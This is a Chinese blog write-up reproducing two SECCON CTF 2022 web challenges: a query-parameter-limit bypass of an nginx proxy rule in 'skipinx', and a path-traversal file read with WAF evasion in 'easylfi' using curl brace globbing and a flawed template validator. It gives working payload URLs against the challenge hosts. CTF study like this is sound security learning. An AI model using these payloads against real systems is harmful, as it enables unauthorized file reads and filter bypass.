SECCON CTF 2022 web复现

skipinx

知识点:qs 参数解析错误

qs简介

一句话介绍就是:qs是负责url参数转化的js库,当然也可以说是查询字符串解析和字符串化库。

详细了解移步:https://www.npmjs.com/package/qs

qs简单用法

例如:我们 url 参数是 foo[bar]=baz,那么他就会转化为一个对象

assert.deepEqual(qs.parse('foo[bar]=baz'), {
    foo: {
        bar: 'baz'
    }
});

可以嵌套对象,例如:

assert.deepEqual(qs.parse('foo[bar][baz]=foobarbaz'), {
    foo: {
        bar: {
            baz: 'foobarbaz'
        }
    }
});

也可以是正常的键值对:url 参数为 a=b&proxy=nginx,解析为

{ a: 'b', proxy: 'nginx' }

getflag

index.js 中可以看到只要 get 参数 proxy 中没用 nginx 这个值就可以了,但是直接令 proxy=xxx 无法绕过,问题出来哪里了呢?
在这里插入图片描述
问题出在了 nginx 的配置文件 conf 上了,它固定了 / 路由的 proxy 参数是 nginx,那要怎么绕过呢?
在这里插入图片描述
package-lock.json,可以看到有用 qs 处理 httpbody

在这里插入图片描述

且在 qs 的文档中可以看到,qs 最多解析 1000 个参数。

在这里插入图片描述

payload:

curl $(python -c 'print("http://skipinx.seccon.games:8080/?proxy=x"+"&a="*999)')

在这里插入图片描述

easylfi

知识点:curl 的多文件下载(访问),代码审计

curl 的多文件下载

https://qastack.cn/unix/243134/curl-download-multiple-files-with-brace-syntax

在这里插入图片描述
例外:如果您指定多个文件,curl 将在每个文件之间用换行符连接每个文件,就这题来说,可以明显看到它换行了。

在这里插入图片描述

分析

根路由,过滤了 .. 和 % 可以用 {.}{.} 绕过 ..,且访问的文件要存在,最后把 (proc.stdout.decode(), request.args) 送给 template 处理,前者是 curl 访问文件后产生的输出,后者是请求的参数和值。

@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

template 函数先把参数的键名和键值送给 validate 函数判断符不符合格式,然后再替换 {...} 和键值。
注意:这边是在输出内容的基础上替换的,且这题是有 waf 的,返回的值不能有 SECCON,那么我们是不是可以通过某些操作令这个替换功能,替换掉返回的 SECCON,这样就可以绕过 waf 了。

def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)    # key 为 {name} 里面的name,利用 value 代替 name,在返回到模板里面
        # text 是输出的内容
    return text
@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response

最后看看这个判断 url 参数格式的函数,它本意是想判断格式是不是 {....},但是它写的有问题,在 for 循环下的第一个 if 判断只要等于 { 就直接返回 true 了,那这个有什么用呢?

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"		# {=456 也可以
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid

用这题举一个例子:

{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}
此时它返回的是当前运行的命令,和 hello.html 代码
在这里插入图片描述

{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{
当我们把 {proc/self/cmdline,app/public/hello.html} 替换为 { ,把 { 替换为 }{ 时,我们就创造了一个闭合,途中红圈内的。
在这里插入图片描述

最后我们只要把红圈内的替换掉就可以了

http://easylfi.seccon.games:3000/{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{&{%00--_curl_--file:///app/public/../../app/public/hello.html%0A%3C!DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%3Ctitle%3Eeasylfi%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%20%20%3Ch1%3EHello%2C%20}=success!!!

从下图中可以看到我们成功的把红圈内的内容替换为 success!!!
在这里插入图片描述

getflag

从上我举的例子中可以看出只要构造出一个类似 {.....%0aSECCON} 的闭合,并把它替换掉就可以绕过 waf 了。

这里的 %0a 是因为 curl 将在每个文件之间用换行符连接每个文件

payload:

{.}{.}/{.}{.}/{proc/self/cmdline,flag.txt}?{proc/self/cmdline,flag.txt}={&{=}{&{%00--_curl_--file:///app/public/../../flag.txt%0ASECCON}=succ

这边要注意的是 --_curl_-- 前面是有不可见字符隔开的,我们复制的时候可以发现它并不是空格,是 %00,也就是 url 中字符串结束的标志。
在这里插入图片描述

reference

https://qiita.com/kusano_k/items/13867e5defc0e5491917#skipinx
https://qiita.com/__dAi00/items/3264238fa0d82d900606#easylfi
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值